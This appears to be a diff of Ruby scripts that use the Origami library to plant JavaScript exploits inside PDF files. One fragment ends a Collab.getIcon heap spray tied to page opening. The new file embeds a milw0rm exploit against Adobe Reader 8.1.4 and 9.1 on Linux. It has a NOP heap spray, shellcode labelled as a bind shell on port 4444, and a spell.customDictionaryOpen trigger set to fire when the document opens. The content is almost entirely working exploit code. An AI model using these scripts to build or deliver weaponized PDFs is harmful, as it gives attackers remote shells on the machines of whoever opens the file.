|
51
|
+
for (i=0; i<buffersize; i++)
|
|
52
|
+
{
|
|
53
|
+
buffer[i] = unescape("%0a%0a%0a%0a");
|
|
54
|
+
}
|
|
55
|
+
|
|
56
|
+
Collab.getIcon(buffer+'_N.bundle');
|
|
57
|
+
}
|
|
58
|
+
spary();
|
|
59
|
+
|
|
|
60
|
+
|
|
61
|
+
exploit = Action::JavaScript.new(Stream.new(jscript).setFilter([:FlateDecode, :ASCII85Decode, :RunLengthDecode]))
|
|
62
|
+
pdf.pages.first.onOpen( exploit )
|
|
63
|
+
|
|
64
|
+
pdf.save("#{File.basename($0, '.rb')}.pdf")
|
|
65
|
+
|
|
@@ -0,0 +1,55 @@
|
|
|
1
|
+
#!/usr/bin/env ruby
|
|
2
|
+
|
|
3
|
+
begin
|
|
4
|
+
require 'origami'
|
|
5
|
+
rescue LoadError
|
|
6
|
+
ORIGAMIDIR = "#{File.dirname(__FILE__)}/../../lib"
|
|
7
|
+
$: << ORIGAMIDIR
|
|
8
|
+
require 'origami'
|
|
9
|
+
end
|
|
10
|
+
include Origami
|
|
11
|
+
|
|
12
|
+
pdf = PDF.read(ARGV[0])
|
|
13
|
+
|
|
14
|
+
jscript = %Q|
|
|
15
|
+
//##############
|
|
16
|
+
//Exploit made by Arr1val
|
|
17
|
+
//Proved in adobe 9.1 and adobe 8.1.4 on linux
|
|
18
|
+
//##############
|
|
19
|
+
|
|
20
|
+
app.alert('start heap spray...');
|
|
21
|
+
|
|
22
|
+
var memory;
|
|
23
|
+
var nop = unescape("%u9090%u9090");
|
|
24
|
+
var shellcode = unescape( "%uc92b%ue983%ud9eb%ud9ee%u2474%u5bf4%u7381%u1313%u2989%u8357%ufceb%uf4e2%u5222%u147a%ue340%u3d2b%ud175%udeb0%u44f2%uc1a9%udb50%u3f4f%ud502%u044f%u689a%u3143%ud94b%u0178%u689a%ud7e4%uefa3%ub4f8%u09de%u057b%uca45%ub6a0%uefa3%ud7e4%ue380%u0e2b%ub6a3%ud7e4%uf05a%ue7d0%udb18%u7841%ufa3c%u3f41%ueb3c%u3940%u6a9a%u047b%u689a%ud7e4"); //linux bind shell at port 4444
|
|
25
|
+
|
|
26
|
+
while(nop.length <= 0x10000/2) {
|
|
27
|
+
nop += nop;
|
|
28
|
+
}
|
|
29
|
+
|
|
30
|
+
nop = nop.substring(0,0x10000/2 - shellcode.length);
|
|
31
|
+
|
|
32
|
+
memory = new Array();
|
|
33
|
+
for (i=0; i<0x6ff0; i++) {
|
|
34
|
+
memory[i] = nop + shellcode;
|
|
35
|
+
}
|
|
36
|
+
|
|
37
|
+
//start exploit now
|
|
38
|
+
start();
|
|
39
|
+
|
|
40
|
+
function start()
|
|
41
|
+
{
|
|
42
|
+
this.spell.customDictionaryOpen(0,nop);//so the exploit jumps actually to 0x90909090. Place a very long 'AAAA' at the second param to go to 0x41414141
|
|
43
|
+
}
|
|
44
|
+
|
|
45
|
+
//############################
|
|
46
|
+
|
|
47
|
+
//# milw0rm.com [2009-04-29]
|
|
48
|
+
|
|
|
49
|
+
|
|
50
|
+
#exploit = Action::JavaScript.new(Stream.new(jscript).setFilter([:FlateDecode, :ASCII85Decode, :RunLengthDecode]))
|
|
51
|
+
exploit = Action::JavaScript.new(Stream.new(jscript))
|
|
52
|
+
pdf.onDocumentOpen( exploit )
|
|
53
|
+
|
|
54
|
+
pdf.save("#{File.basename($0, '.rb')}.pdf")
|
|
55
|
+
|